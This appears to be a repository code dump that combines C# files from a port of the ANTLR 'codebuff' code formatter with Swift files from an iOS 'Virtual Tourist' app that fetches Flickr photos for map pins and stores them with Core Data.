ParserRuleContext earliestLeftAncestor = Trainer.earliestAncestorStartingWithToken(node); ParserRuleContext ancestor = Trainer.getAncestor(earliestLeftAncestor, deltaFromAncestor); Token start = null; if (ancestor == null) { // System.err.println("Whoops. No ancestor at that delta"); } else { ParseTree child = ancestor.GetChild(childIndex); if (child is ParserRuleContext) { start = ((ParserRuleContext) child).Start; } else if (child is TerminalNode) { start = ((TerminalNode) child).Symbol; } else { // uh oh. // System.err.println("Whoops. Tried to access invalid child"); } } if (start != null) { int indentCol = start.Column + indentSize; charPosInLine = indentCol; output.Append(Tool.spaces(indentCol)); } } public virtual void align(int alignOrIndent, TerminalNode node) { int[] deltaChild = Trainer.triple(alignOrIndent); int deltaFromAncestor = deltaChild[0]; int childIndex = deltaChild[1]; ParserRuleContext earliestLeftAncestor = Trainer.earliestAncestorStartingWithToken(node); ParserRuleContext ancestor = Trainer.getAncestor(earliestLeftAncestor, deltaFromAncestor); Token start = null; if (ancestor == null) { // System.err.println("Whoops. No ancestor at that delta"); } else { ParseTree child = ancestor.GetChild(childIndex); if (child is ParserRuleContext) { start = ((ParserRuleContext) child).Start; } else if (child is TerminalNode) { start = ((TerminalNode) child).Symbol; } else { // uh oh. // System.err.println("Whoops. Tried to access invalid child"); } } if (start != null) { int indentCol = start.Column; charPosInLine = indentCol; output.Append(Tool.spaces(indentCol)); } } public virtual int[] getFeatures(InputDocument doc, int tokenIndexInStream) { Token prevToken = doc.tokens.getPreviousRealToken(tokenIndexInStream); Token prevPrevToken = prevToken != null ? doc.tokens.getPreviousRealToken(prevToken.TokenIndex) : null; bool prevTokenStartsLine = false; if (prevToken != null && prevPrevToken != null) { prevTokenStartsLine = prevToken.Line > prevPrevToken.Line; } TerminalNode node = tokenToNodeMap[doc.tokens.Get(tokenIndexInStream)]; if (node == null) { Log.WriteLine("### No node associated with token " + doc.tokens.Get(tokenIndexInStream)); return null; } Token curToken = node.Symbol; bool curTokenStartsNewLine = false; if (prevToken == null) { curTokenStartsNewLine = true; // we must be at start of file } else if (line > prevToken.Line) { curTokenStartsNewLine = true; } int[] features = Trainer.getContextFeatures(corpus, tokenToNodeMap, doc, tokenIndexInStream); Trainer.setListInfoFeatures(tokenToListInfo, features, curToken); features[Trainer.INDEX_PREV_FIRST_ON_LINE] = prevTokenStartsLine ? 1 : 0; features[Trainer.INDEX_FIRST_ON_LINE] = curTokenStartsNewLine ? 1 : 0; return features; } /// <summary> /// Look into the originalTokens stream to get the comments to the left of current /// token. Emit all whitespace and comments except for whitespace at the /// end as we'll inject that per newline prediction. /// /// We able to see original input stream for comment purposes only. With all /// whitespace removed, we can't emit this stuff properly. This /// is the only place that examines the original token stream during formatting. /// </summary> public virtual int emitCommentsToTheLeft(int tokenIndexInStream, int injectNL_WS) { IList<Token> hiddenTokensToLeft = originalTokens.GetHiddenTokensToLeft(tokenIndexInStream); if (hiddenTokensToLeft != null) { // if at least one is not whitespace, assume it's a comment and print all hidden stuff including whitespace bool hasComment = Trainer.hasCommentToken(hiddenTokensToLeft); if (hasComment) { // avoid whitespace at end of sequence as we'll inject that int last = -1; for (int i = hiddenTokensToLeft.Count - 1; i >= 0; i--) { Token hidden = hiddenTokensToLeft[i]; string hiddenText = hidden.Text; Regex rex = new Regex("^\\s+$"); if (!rex.IsMatch(hiddenText)) { last = i; break; } } Token commentToken = hiddenTokensToLeft[last]; IList<Token> truncated = hiddenTokensToLeft.Take(last + 1).ToList(); foreach (Token hidden in truncated) { string hiddenText = hidden.Text; output.Append(hiddenText); Regex rex = new Regex("^\\n+$"); // KED SUSPECT THIS MAY BE WRONG FOR WINDOWS (\n\r). if (rex.IsMatch(hiddenText)) { line += Tool.count(hiddenText, '\n'); charPosInLine = 0; } else { // if a comment or plain ' ', must count char position charPosInLine += hiddenText.Length; } } // failsafe. make sure single-line comments have \n on the end. // If not predicted, must override and inject one if (commentToken.Type == corpus.language.singleLineCommentType && (injectNL_WS & 0xFF) != Trainer.CAT_INJECT_NL) { return Trainer.nlcat(1); // force formatter to predict newline then trigger alignment } } } return injectNL_WS; // send same thing back out unless we trigger failsafe } public virtual TokenPositionAnalysis getTokenAnalysis(int[] features, int[] featuresForAlign, int tokenIndexInStream, int injectNL_WS, int alignOrIndent, bool collectAnalysis) { CommonToken curToken = (CommonToken)originalDoc.tokens.Get(tokenIndexInStream); TerminalNode nodeWithOriginalToken = originalTokenToNodeMap[curToken]; int actualWS = Trainer.getInjectWSCategory(originalTokens, tokenIndexInStream); string actualWSNL = getWSCategoryStr(actualWS); actualWSNL = !string.ReferenceEquals(actualWSNL, null) ? actualWSNL : string.Format("{0,8}","none"); string wsDisplay = getWSCategoryStr(injectNL_WS); if (string.ReferenceEquals(wsDisplay, null)) { wsDisplay = string.Format("{0,8}","none"); } string alignDisplay = getHPosCategoryStr(alignOrIndent); if (string.ReferenceEquals(alignDisplay, null)) { alignDisplay = string.Format("{0,8}","none"); } string newlinePredictionString = string.Format("### line {0:D}: predicted {1} actual {2}", curToken.Line, wsDisplay, actualWSNL); int actualAlignCategory = Trainer.getAlignmentCategory(originalDoc, nodeWithOriginalToken, indentSize); string actualAlignDisplay = getHPosCategoryStr(actualAlignCategory); actualAlignDisplay = !string.ReferenceEquals(actualAlignDisplay, null) ? actualAlignDisplay : string.Format("{0,8}","none"); string alignPredictionString = string.Format("### line {0:D}: predicted {1} actual {2}", curToken.Line, alignDisplay, actualAlignDisplay); string newlineAnalysis = ""; string alignAnalysis = ""; if (collectAnalysis) { // this can be slow newlineAnalysis = newlinePredictionString + "\n" + wsClassifier.getPredictionAnalysis(testDoc, k, features, corpus.injectWhitespace, Trainer.MAX_WS_CONTEXT_DIFF_THRESHOLD); if ((injectNL_WS & 0xFF) == Trainer.CAT_INJECT_NL) { alignAnalysis = alignPredictionString + "\n" + hposClassifier.getPredictionAnalysis(testDoc, k, featuresForAlign, corpus.hpos, Trainer.MAX_ALIGN_CONTEXT_DIFF_THRESHOLD); } } TokenPositionAnalysis a = new TokenPositionAnalysis(curToken, injectNL_WS, newlineAnalysis, alignOrIndent, alignAnalysis); a.actualWS = Trainer.getInjectWSCategory(originalTokens, tokenIndexInStream); a.actualAlign = actualAlignCategory; return a; } public static string getWSCategoryStr(int injectNL_WS) { int[] elements = Trainer.triple(injectNL_WS); int cat = injectNL_WS & 0xFF; string catS = "none"; if (cat == Trainer.CAT_INJECT_NL) { catS = "'\\n'"; } else if (cat == Trainer.CAT_INJECT_WS) { catS = "' '"; } else { return null; } return string.Format("{0,4}|{1:D}|{2:D}", catS, elements[0], elements[1]); } public static string getHPosCategoryStr(int alignOrIndent) { int[] elements = Trainer.triple(alignOrIndent); int cat = alignOrIndent & 0xFF; string catS = "align"; if (cat == Trainer.CAT_ALIGN_WITH_ANCESTOR_CHILD) { catS = "align^"; } else if (cat == Trainer.CAT_INDENT_FROM_ANCESTOR_CHILD) { catS = "indent^"; } else if (cat == Trainer.CAT_ALIGN) { catS = "align"; } else if (cat == Trainer.CAT_INDENT) { catS = "indent"; } else { return null; } return string.Format("{0,7}|{1:D}|{2:D}", catS, elements[0], elements[1]); } /// <summary> /// Do not join two words like "finaldouble" or numbers like "3double", /// "double3", "34", (3 and 4 are different tokens) etc... /// </summary> public static bool cannotJoin(Token prevToken, Token curToken) { string prevTokenText = prevToken.Text; if (prevTokenText.Length == 0) return true; char prevLastChar = prevTokenText[prevTokenText.Length - 1]; string curTokenText = curToken.Text; if (curTokenText.Length == 0) return true; char curFirstChar = curTokenText[0]; return char.IsLetterOrDigit(prevLastChar) && char.IsLetterOrDigit(curFirstChar); } public static void wipeCharPositionInfoAndWhitespaceTokens(CodeBuffTokenStream tokens) { tokens.Fill(); CommonToken dummy = new CommonToken(TokenConstants.InvalidType, ""); dummy.Channel = TokenConstants.HiddenChannel; Token firstRealToken = tokens.getNextRealToken(-1); for (int i = 0; i < tokens.Size; i++) { if (i == firstRealToken.TokenIndex) { continue; // don't wack first token } CommonToken t = (CommonToken)tokens.Get(i); Regex rex = new Regex("^\\s+$"); if (rex.IsMatch(t.Text)) { tokens.GetTokens()[i] = dummy; // wack whitespace token so we can't use it during prediction } else { t.Line = 0; t.Column = -1; } } } } }<file_sep>using System.Collections.Generic; namespace org.antlr.codebuff { public sealed class FeatureType { public static readonly FeatureType TOKEN = new FeatureType("TOKEN", InnerEnum.TOKEN, 12); public static readonly FeatureType RULE = new FeatureType("RULE", InnerEnum.RULE, 14); public static readonly FeatureType INT = new FeatureType("INT", InnerEnum.INT, 12); public static readonly FeatureType BOOL = new FeatureType("BOOL", InnerEnum.BOOL, 5); // bool can be -1 meaning don't know public static readonly FeatureType INFO_FILE = new FeatureType("INFO_FILE", InnerEnum.INFO_FILE, 15); public static readonly FeatureType INFO_LINE = new FeatureType("INFO_LINE", InnerEnum.INFO_LINE, 4); public static readonly FeatureType INFO_CHARPOS = new FeatureType("INFO_CHARPOS", InnerEnum.INFO_CHARPOS, 4); public static readonly FeatureType UNUSED = new FeatureType("UNUSED", InnerEnum.UNUSED, 0); private static readonly IList<FeatureType> valueList = new List<FeatureType>(); static FeatureType() { valueList.Add(TOKEN); valueList.Add(RULE); valueList.Add(INT); valueList.Add(BOOL); valueList.Add(INFO_FILE); valueList.Add(INFO_LINE); valueList.Add(INFO_CHARPOS); valueList.Add(UNUSED); } public enum InnerEnum { TOKEN, RULE, INT, BOOL, INFO_FILE, INFO_LINE, INFO_CHARPOS, UNUSED } private readonly string nameValue; private readonly int ordinalValue; private readonly InnerEnum innerEnumValue; private static int nextOrdinal = 0; public int displayWidth; internal FeatureType(string name, InnerEnum innerEnum, int displayWidth) { this.displayWidth = displayWidth; nameValue = name; ordinalValue = nextOrdinal++; innerEnumValue = innerEnum; } public static IList<FeatureType> values() { return valueList; } public InnerEnum InnerEnumValue() { return innerEnumValue; } public int ordinal() { return ordinalValue; } public override string ToString() { return nameValue; } public static FeatureType valueOf(string name) { foreach (FeatureType enumInstance in FeatureType.values()) { if (enumInstance.nameValue == name) { return enumInstance; } } throw new System.ArgumentException(name); } } }<file_sep>using System; using System.Collections.Generic; namespace org.antlr.codebuff.validation { using misc; using Triple = Antlr4.Runtime.Misc.Triple; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Dbg.normalizedLevenshteinDistance; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.JAVA8_DESCR; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.JAVA8_GUAVA_DESCR; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.JAVA_DESCR; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.JAVA_GUAVA_DESCR; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.SQLITE_CLEAN_DESCR; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.TSQL_CLEAN_DESCR; public class GrammarInvariance { public static void Main(string[] args) { // we need to get all of the results in order so that we can compare LeaveOneOutValidator.FORCE_SINGLE_THREADED = true; float sql_median; float java_st_median; float java_guava_median; { // JAVA IList<float?> distances = new List<float?>(); LeaveOneOutValidator javaValidator = new LeaveOneOutValidator(Tool.JAVA_DESCR.corpusDir, JAVA_DESCR); LeaveOneOutValidator java8Validator = new LeaveOneOutValidator(JAVA8_DESCR.corpusDir, JAVA8_DESCR); Triple<IList<Formatter>, IList<float?>, IList<float?>> javaResults = javaValidator.validateDocuments(false, null); Triple<IList<Formatter>, IList<float?>, IList<float?>> java8Results = java8Validator.validateDocuments(false, null); IList<Formatter> javaFormatters = javaResults.a; IList<Formatter> java8Formatters = java8Results.a; for (int i = 0; i < javaFormatters.Count; i++) { Formatter java = javaFormatters[i]; Formatter java8 = java8Formatters[i]; float editDistance = Dbg.normalizedLevenshteinDistance(java.Output, java8.Output); distances.Add(editDistance); // System.out.println(java.testDoc.fileName+" edit distance "+editDistance); } { distances.Sort(); int n = distances.Count; float min = distances[0].Value; float quart = distances[(int)(0.27 * n)].Value; float median = distances[n / 2].Value; float quart3 = distances[(int)(0.75 * n)].Value; float max = distances[distances.Count - 1].Value; string display = "(" + min + "," + median + "," + max + ")"; java_st_median = median; } } { // JAVA GUAVA IList<float?> distances = new List<float?>(); LeaveOneOutValidator java_guavaValidator = new LeaveOneOutValidator(JAVA_GUAVA_DESCR.corpusDir, JAVA_GUAVA_DESCR); LeaveOneOutValidator java8_guavaValidator = new LeaveOneOutValidator(JAVA8_GUAVA_DESCR.corpusDir, JAVA8_GUAVA_DESCR); Triple<IList<Formatter>, IList<float?>, IList<float?>> java_guavaResults = java_guavaValidator.validateDocuments(false, null); Triple<IList<Formatter>, IList<float?>, IList<float?>> java8_guavaResults = java8_guavaValidator.validateDocuments(false, null); IList<Formatter> java_guavaFormatters = java_guavaResults.a; IList<Formatter> java8_guavaFormatters = java8_guavaResults.a; for (int i = 0; i < java_guavaFormatters.Count; i++) { Formatter java_guava = java_guavaFormatters[i]; Formatter java8_guava = java8_guavaFormatters[i]; float editDistance = Dbg.normalizedLevenshteinDistance(java_guava.Output, java8_guava.Output); distances.Add(editDistance); // System.out.println(java_guava.testDoc.fileName+" edit distance "+editDistance); } { distances.Sort(); int n = distances.Count; float min = distances[0].Value; float quart = distances[(int)(0.27 * n)].Value; float median = distances[n / 2].Value; float quart3 = distances[(int)(0.75 * n)].Value; float max = distances[distances.Count - 1].Value; string display = "(" + min + "," + median + "," + max + ")"; java_guava_median = median; } } Log.WriteLine("clean SQLite vs TSQL edit distance info median=" + sql_median); Log.WriteLine("Java vs Java8 edit distance info median=" + java_st_median); Log.WriteLine("Java vs Java8 guava edit distance info median=" + java_guava_median); } } }<file_sep>namespace org.antlr.codebuff.misc { using MurmurHash = Antlr4.Runtime.Misc.MurmurHash; using ObjectEqualityComparator = Antlr4.Runtime; public class Quad<A, B, C, D> { public readonly A a; public readonly B b; public readonly C c; public readonly D d; public Quad(A a, B b, C c, D d) { this.a = a; this.b = b; this.c = c; this.d = d; } public override bool Equals(object obj) { if (obj == this) { return true; } else if (!(obj is Quad<A,B,C,D>)) { return false; } Quad<A, B, C, D> other = (Quad<A, B, C, D>)obj; return Equals(a, other.a) && Equals(b, other.b) && Equals(c, other.c) && Equals(d, other.d); } public override int GetHashCode() { int hash = org.antlr.codebuff.misc.MurmurHash.Initialize(); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, a); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, b); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, c); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, d); return org.antlr.codebuff.misc.MurmurHash.Finish(hash, 4); } public override string ToString() { return string.Format("({0}, {1}, {2}, {3})", a, b, c, d); } } }<file_sep>namespace org.antlr.codebuff.misc { /// <summary> /// Track stats about a single parent:alt,child:alt list or split-list </summary> public class SiblingListStats { public readonly int numSamples, min, median, max; public readonly double variance; public SiblingListStats(int numSamples, int min, int median, double variance, int max) { this.numSamples = numSamples; this.max = max; this.median = median; this.min = min; this.variance = variance; } public override string ToString() { return "(" + numSamples + "," + min + "," + median + "," + variance + "," + max + ")"; } } }
bd9baadc9ece46b860488b63c24c40e41bbd966a
[ "Markdown", "C#" ]
50
C#
kaby76/cs-codebuff
0ac3dfdd8720d596f7541fcc39f2884b209fafeb
106d08e0771de36e90bf9ed25800a84cd66e4176
refs/heads/master
<file_sep>// // FlickrOperation.swift // Virtual Tourist // // Created by <NAME> on 10/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation protocol FlickrNetworkOperationProcessor: AnyObject { var request: NSURLRequest { get } func processData(data: NSData) func handleError(error: NSError) } class FlickrNetworkOperation: NSOperation { private let incomingData = NSMutableData() private var sessionTask: NSURLSessionTask? private lazy var session: NSURLSession = { return NSURLSession(configuration: NSURLSessionConfiguration.defaultSessionConfiguration(), delegate: self, delegateQueue: nil) }() private var processor: FlickrNetworkOperationProcessor var _finished: Bool = false override var finished: Bool { get { return _finished } set { willChangeValueForKey("isFinished") _finished = newValue didChangeValueForKey("isFinished") } } init(processor: FlickrNetworkOperationProcessor) { self.processor = processor super.init() } override func start() { if cancelled { finished = true return } sessionTask = session.dataTaskWithRequest(processor.request) sessionTask!.resume() } } extension FlickrNetworkOperation: NSURLSessionDataDelegate { func URLSession(session: NSURLSession, dataTask: NSURLSessionDataTask, didReceiveResponse response: NSURLResponse, completionHandler: (NSURLSessionResponseDisposition) -> Void) { if cancelled { sessionTask?.cancel() finished = true completionHandler(.Cancel) return } if let response = response as? NSHTTPURLResponse { if !(response.statusCode ~= 200 ..< 300) { completionHandler(.Cancel) } } completionHandler(.Allow) } func URLSession(session: NSURLSession, dataTask: NSURLSessionDataTask, didReceiveData data: NSData) { if cancelled { sessionTask?.cancel() finished = true return } incomingData.appendData(data) } func URLSession(session: NSURLSession, task: NSURLSessionTask, didCompleteWithError error: NSError?) { defer { finished = true } if cancelled { sessionTask?.cancel() return } guard error == nil else { processor.handleError(error!) return } processor.processData(NSData(data: incomingData)) } } <file_sep>// // Range+Utils.swift // Virtual Tourist // // Created by <NAME> on 02/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // // Basic function to make a range match more readable in an `if` or `where` clause. // Ie. write `value ~= range` (value is in range) as opposed to `range ~= value` (range contains value) // It looks more natural to read `if value ~= 0 ..< 100 {...` than `if 0 ..< 100 ~= value {...` public func ~=<I : ForwardIndexType where I : Comparable>(value: I, pattern: Range<I>) -> Bool { return pattern ~= value }<file_sep>// // FlickrPhotos.swift // Virtual Tourist // // Created by <NAME> on 02/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import Foundation enum FlickrPhotosErrorCodes: Int { case PageKeyNotFound case PagesKeyNotFound case PerPageKeyNotFound case TotalKeyNotFound case PhotoKeyNotFound } class FlickrPhotos { static let pageKey = "page" static let pagesKey = "pages" static let perPageKey = "perpage" static let totalKey = "total" static let photoArrayKey = "photo" var page: Int var pages: Int var perPage: Int var total: Int var photos: [FlickrPhoto] init(parsedJSON: [String: AnyObject], imageSize: FlickrImageSize) throws { func makeError(errorString: String, code: FlickrPhotosErrorCodes) -> NSError { return NSError(domain: "FlickrPhotos.init", code: code.rawValue, userInfo: [NSLocalizedDescriptionKey: errorString]) } guard let page = parsedJSON[FlickrPhotos.pageKey] as? Int else { throw makeError("Key \"\(FlickrPhotos.pageKey)\" not found", code: .PageKeyNotFound) } guard let pages = parsedJSON[FlickrPhotos.pagesKey] as? Int else { throw makeError("Key \"\(FlickrPhotos.pagesKey)\" not found", code: .PagesKeyNotFound) } guard let perPage = parsedJSON[FlickrPhotos.perPageKey] as? Int else { throw makeError("Key \"\(FlickrPhotos.perPageKey)\" not found", code: .PerPageKeyNotFound) } guard let total = Int(parsedJSON[FlickrPhotos.totalKey] as? String ?? "") else { throw makeError("Key \"\(FlickrPhotos.totalKey)\" not found", code: .TotalKeyNotFound) } guard let photoArray = parsedJSON[FlickrPhotos.photoArrayKey] as? [[String: AnyObject]] else { throw makeError("Key \"\(FlickrPhotos.photoArrayKey)\" not found", code: .PhotoKeyNotFound) } self.page = page self.pages = pages self.perPage = perPage self.total = total self.photos = try FlickrPhoto.photoArrayFromJSON(photoArray, imageSize: imageSize) } }<file_sep>// // PhotoContainer+CoreDataProperties.swift // Virtual Tourist // // Created by <NAME> on 22/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // // Choose "Create NSManagedObject Subclass…" from the Core Data editor menu // to delete and recreate this implementation file for your updated model. // import Foundation import CoreData extension PhotoContainer { @NSManaged var page: NSNumber? @NSManaged var pageCount: NSNumber? @NSManaged var perPage: NSNumber? @NSManaged var total: NSNumber? @NSManaged var photos: NSOrderedSet? @NSManaged var pin: Pin? } <file_sep>// // ViewController.swift // Virtual Tourist // // Created by <NAME> on 26/05/2016. // Copyright © 2016 <NAME>. All rights reserved. // import UIKit import MapKit import CoreData private let placeholderTitle = "Searching..." // MARK: - UIViewController Implementation class MapViewController: UIViewController { // MARK: - IBOutlets @IBOutlet weak var mapView: MKMapView! @IBOutlet var longPressGestureRecogniser: UILongPressGestureRecognizer! // MARK: - Private Variables private var selectedPin: Pin? private var isDraggingPin: Bool = false private var fetchedResultsController: NSFetchedResultsController! private let geocoder = CLGeocoder() // MARK: - Public Variables var dataController: DataController! // MARK: - Overrides override func viewDidLoad() { super.viewDidLoad() fetchedResultsController = dataController.allPinsWithSortDescriptor(NSSortDescriptor(key: "title", ascending: true)) fetchedResultsController.delegate = self do { try fetchedResultsController.performFetch() } catch let error as NSError { NSLog("Unable to performFetch:\n\(error)") } if let pins = fetchedResultsController.fetchedObjects as? [Pin] { loadPins(pins) } } override func viewWillAppear(animated: Bool) { super.viewWillAppear(animated) navigationController?.setNavigationBarHidden(true, animated: true) selectedPin = nil } override func viewDidDisappear(animated: Bool) { super.viewDidDisappear(animated) navigationController?.setNavigationBarHidden(false, animated: true) } override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) { if let id = segue.identifier { switch id { case "albumViewSegue": if let selectedPin = selectedPin { let nextVC = segue.destinationViewController as! AlbumViewController nextVC.pinId = selectedPin.objectID nextVC.dataController = dataController for annotation in mapView.selectedAnnotations { mapView.deselectAnnotation(annotation, animated: false) } } break default: break } } } } // MARK: - Pin -> MapView interface private extension MapViewController { func annotationFor(pin: Pin) -> MKPointAnnotation? { let annotations = mapView.annotations as! [MKPointAnnotation] let index = annotations.indexOf { $0.coordinate.latitude == pin.latitude!.doubleValue && $0.coordinate.longitude == pin.longitude!.doubleValue } if let index = index { return annotations[index] } return nil } func pinFor(annotation: MKAnnotation) -> Pin? { let coordinate = annotation.coordinate let searchResult = fetchedResultsController.fetchedObjects?.first( { let pin = $0 as! Pin return pin.latitude?.doubleValue == coordinate.latitude && pin.longitude!.doubleValue == coordinate.longitude }) return searchResult as? Pin } func loadPin(pin: Pin) { mapView.addAnnotation(MKPointAnnotation(pin: pin)) } func removePin(pin: Pin) { if let annotation = annotationFor(pin) { mapView.removeAnnotation(annotation) } } func selectPin(pin: Pin) { if let annotation = annotationFor(pin) { mapView.selectAnnotation(annotation, animated: true) } } func loadPins(pins: [Pin]) { for pin in pins { loadPin(pin) } } func searchForTitleFor(pin: Pin) { let coordinate = CLLocationCoordinate2D(latitude: pin.latitude!.doubleValue, longitude: pin.longitude!.doubleValue) geocoder.reverseGeocodeLocation(CLLocation(latitude: coordinate.latitude, longitude: coordinate.longitude)) { (placemarks, error) in guard error == nil else { NSLog("\(error!.localizedDescription)\n\(error!.description)") return } if let placemark = placemarks?.first { self.dataController.mainThreadContext.performBlock { pin.title = placemark.name self.dataController.save() } } else { NSLog("No placemarks identified for location at coordinates \(coordinate)") } } } func handleError(error: NSError) { onMainQueueDo { let alertVC = UIAlertController(title: "Operation Failed", message: error.localizedDescription, preferredStyle: .Alert) alertVC.addAction(UIAlertAction(title: "Dismiss", style: .Default, handler: nil)) self.presentViewController(alertVC, animated: true, completion: nil) } } } // MARK: - IBActions extension MapViewController { @IBAction func longPressGestureRecognised(sender: UILongPressGestureRecognizer) { if sender.state == .Began { let location = sender.locationInView(mapView) let coordinate = mapView.convertPoint(location, toCoordinateFromView: mapView) let pin = dataController.createPin(longitude: coordinate.longitude, latitude: coordinate.latitude, title: placeholderTitle, errorHandler: self.handleError) searchForTitleFor(pin) } } } // MARK: - MKMapViewDelegate Implementation extension MapViewController: MKMapViewDelegate { func mapView(mapView: MKMapView, annotationView view: MKAnnotationView, didChangeDragState newState: MKAnnotationViewDragState, fromOldState oldState: MKAnnotationViewDragState) { switch newState { case .Starting: isDraggingPin = true if let annotation = view.annotation as? MKPointAnnotation, let pin = pinFor(annotation) { dataController.deleteFromMainContext(pin) } break case .Ending: if let annotation = view.annotation as? MKPointAnnotation { let pin = dataController.createPin(longitude: annotation.coordinate.longitude, latitude: annotation.coordinate.latitude, errorHandler: self.handleError) searchForTitleFor(pin) } isDraggingPin = false break case .Canceling: isDraggingPin = false default: break } } func mapView(mapView: MKMapView, annotationView view: MKAnnotationView, calloutAccessoryControlTapped control: UIControl) { if control == view.rightCalloutAccessoryView { if let annotation = view.annotation as? MKPointAnnotation { selectedPin = (fetchedResultsController.fetchedObjects as! [Pin]).first { $0.latitude?.doubleValue == annotation.coordinate.latitude && $0.longitude?.doubleValue == annotation.coordinate.longitude && $0.title == annotation.title } performSegueWithIdentifier("albumViewSegue", sender: self) } } } func mapView(mapView: MKMapView, didSelectAnnotationView view: MKAnnotationView) { self.dataController.mainThreadContext.performBlock { if let annotation = view.annotation, let pin = self.pinFor(annotation) { if pin.title == placeholderTitle { self.searchForTitleFor(pin) } } } } func mapView(mapView: MKMapView, viewForAnnotation annotation: MKAnnotation) -> MKAnnotationView? { guard !annotation.isKindOfClass(MKUserLocation) else { return nil } let reuseId = "pinView" var pinView = mapView.dequeueReusableAnnotationViewWithIdentifier(reuseId) as? MKPinAnnotationView if pinView != nil { pinView!.annotation = annotation } else { pinView = MKPinAnnotationView(annotation: annotation, reuseIdentifier: reuseId) pinView!.canShowCallout = true pinView!.pinTintColor = UIColor.redColor() pinView!.animatesDrop = true pinView!.draggable = true pinView!.rightCalloutAccessoryView = UIButton(type: .DetailDisclosure) } return pinView } } // MARK: - NSFetchedResultsControllerDelegate Implementation extension MapViewController: NSFetchedResultsControllerDelegate { func controller(controller: NSFetchedResultsController, didChangeObject anObject: AnyObject, atIndexPath indexPath: NSIndexPath?, forChangeType type: NSFetchedResultsChangeType, newIndexPath: NSIndexPath?) { if isDraggingPin { return } onMainQueueDo { if let pin = anObject as? Pin { switch type { case .Insert: self.loadPin(pin) break case .Delete: self.removePin(pin) break case .Update, .Move: if let annotation = self.annotationFor(pin) { annotation.title = pin.title self.selectPin(pin) } break } } } } } // MARK: - MKPointAnnotation Convenience Init private extension MKPointAnnotation { convenience init(pin: Pin) { self.init() coordinate = CLLocationCoordinate2D(latitude: pin.latitude!.doubleValue, longitude: pin.longitude!.doubleValue) title = pin.title } } <file_sep>// // FlickrConstants.swift // Virtual Tourist // // Created by <NAME> on 02/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // import UIKit public enum FlickrImageSize: String, CustomStringConvertible { case Small = "url_m" case Medium = "url_z" case Large = "url_b" public var description: String { get { return self.rawValue } } } public func stringOf(array: Array<FlickrImageSize>) -> String { return array.reduce("", combine: { $0.isEmpty ? $1.description : "\($0),\($1)" }) } struct Constants { struct API { static let Scheme = "https" static let Host = "api.flickr.com" static let Path = "/services/rest/" static let Key = kFlickrAPIKey } struct ParameterKeys { static let Method = "method" static let APIKey = "api_key" static let SafeSearch = "safe_search" static let Extras = "extras" static let Format = "format" static let NoJSONCallback = "nojsoncallback" static let Latitude = "lat" static let Longitude = "lon" static let PerPageLimit = "per_page" static let Page = "page" } struct ParameterValues { static let SafeSearchOn = "1" static let JSONFormat = "json" static let NoJSONCallbackOn = "1" } struct ResponseKeys { static let Status = "stat" static let Photos = "photos" } }<file_sep>// // Photo+CoreDataProperties.swift // Virtual Tourist // // Created by <NAME> on 30/06/2016. // Copyright © 2016 <NAME>. All rights reserved. // // Choose "Create NSManagedObject Subclass…" from the Core Data editor menu // to delete and recreate this implementation file for your updated model. // import Foundation import CoreData extension Photo { @NSManaged var id: NSNumber? @NSManaged var imageData: NSData? @NSManaged var url: String? @NSManaged var isDownloading: NSNumber? @NSManaged var photoContainer: PhotoContainer? } <file_sep>// // AlbumViewController.swift // Virtual Tourist // // Created by <NAME> on 27/05/2016. // Copyright © 2016 <NAME>. All rights reserved. // import UIKit import MapKit import CoreData // MARK: - UIViewController Implementation class AlbumViewController: UIViewController { // MARK: - IBOutlets @IBOutlet weak var mapView: MKMapView! @IBOutlet weak var collectionView: UICollectionView! @IBOutlet weak var newCollectionButton: UIBarButtonItem! // MARK: - Public Variables var pinId: NSManagedObjectID? var dataController: DataController! // MARK: - Private Variables private var allPhotos: NSFetchedResultsController! private var pinFromContext: NSFetchedResultsController! private var changes = [NSFetchedResultsChangeType: [NSIndexPath]]() override func viewDidLoad() { super.viewDidLoad() if let pinId = pinId { let pin = self.dataController.mainThreadContext.objectWithID(pinId) as! Pin self.allPhotos = self.dataController.allPhotosFor(pin) self.allPhotos.delegate = self self.pinFromContext = self.dataController.fetchedResultsControllerFor(pin) self.pinFromContext.delegate = self do { try self.allPhotos.performFetch() try self.pinFromContext.performFetch() } catch let error as NSError { NSLog("Unable to performFetch:\n\(error)") } } } override func viewWillAppear(animated: Bool) { super.viewWillAppear(animated) mapView.removeAnnotations(mapView.annotations) if let pinId = pinId { let pin = self.dataController.mainThreadContext.objectWithID(pinId) as! Pin if pin.photoContainer == nil { dataController.searchForImagesAt(pin, errorHandler: self.handleError) } let annotation = MKPointAnnotation() annotation.coordinate = CLLocationCoordinate2D(latitude: pin.latitude!.doubleValue, longitude: pin.longitude!.doubleValue) annotation.title = pin.title mapView.setRegion(MKCoordinateRegionMakeWithDistance(annotation.coordinate, 1000, 1000), animated: true) mapView.addAnnotation(annotation) mapView.selectAnnotation(annotation, animated: true) } } } // MARK: - IBActions extension AlbumViewController { @IBAction func newCollectionTapped(sender: AnyObject) { if let pinId = pinId { let pin = dataController.mainThreadContext.objectWithID(pinId) as! Pin let photos = ((pin.photoContainer as? PhotoContainer)?.photos ?? []).map { $0 as! NSManagedObject } dataController.deleteObjectsFromMainContext(photos) dataController.searchForImagesAt(pin, isImageRefresh: true, errorHandler: self.handleError) } } } // MARK: - MKMapViewDelegate 